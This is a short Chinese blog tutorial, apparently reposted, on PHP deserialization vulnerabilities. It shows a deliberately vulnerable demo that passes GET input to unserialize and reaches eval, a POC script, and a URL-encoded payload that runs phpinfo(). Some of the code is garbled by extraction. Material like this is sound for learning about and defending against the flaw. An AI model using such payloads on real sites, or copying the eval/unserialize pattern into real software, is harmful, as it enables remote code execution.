博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
PHP反序列化漏洞
阅读量:4313 次
发布时间:2019-06-06

本文共 1109 字,大约阅读时间需要 3 分钟。

反序列化漏洞利用的条件

1、程序中存在序列化字符串的输入点.2、程序中存在可以利用的魔术方法.

反序列化漏洞的一个简单DEMO

shutdown(); } public function shutdown() { $this->handle->close(); } } class process { public $pid; function close() { eval($this->pid); } } if(isset($_GET['data'])) { $user_data = unserialize(urldecode($_GET['data'])); }?>

可见,process类当中有一个close方法里面有一个eval函数,但是pid不是我们所能控制的。但是在example当中有调用close方法。

可以在example中调用process类,然后在process当中对pid进行赋值然后序列化进而执行eval函数达到命令执行的效果

最终GET POC代码如下。

1 
handle = new process(); 8 } 9 }10 class process11 {12 public $pid;13 function __construct()14 {15 $this->pid=("phpinfo();");16 }17 }18 $data = new example();19 echo urlencode(serialize($data))20 ?>

生成后的payload为(#一定要编码,不编码不行):

O%3A7%3A%22example%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A7%3A%22process%22%3A1%3A%7Bs%3A3%3A%22pid%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

总结:

OOP不太熟悉还是很容易在一些细节上面写错。

比如

1.在POC构造的那个代码的第7行,是需要new的

2.在引用一个方法的时候是没有$符号的。即$this->pid

3.属性是没有括号的

 

转载于:https://www.cnblogs.com/nul1/p/8647124.html

你可能感兴趣的文章
模式识别 - libsvm该函数的调用方法 详细说明
查看>>
数据库启动(下一个)
查看>>
FineUI第九天---表单验证
查看>>
Unity3D 快捷键
查看>>
Springboot集成WebSocket通信全部代码,即扣即用。
查看>>
接口,lambda表达式与内部类
查看>>
【poj1009】 Edge Detection
查看>>
去掉PowerDesigner生成SQL脚本中字段名带的引号
查看>>
win10操作系统安装oracle11g时出现不满足最低配置的操作INS13001
查看>>
java基础学习——7、String类和StringBuffer类的区别
查看>>
js基础
查看>>
sklearn 中 make_blobs模块
查看>>
python学习笔记之多个装饰器
查看>>
自己创建一个android studio在线依赖compile
查看>>
【android】安卓开发apk列表
查看>>
JavaScript高级特性-实现继承的七种方式
查看>>
20121016学习笔记四
查看>>
EntityFramework 学习 一 Stored Procedure
查看>>
Sliverlight之 故事板
查看>>
Java 必知必会的 20 种常用类库和 API
查看>>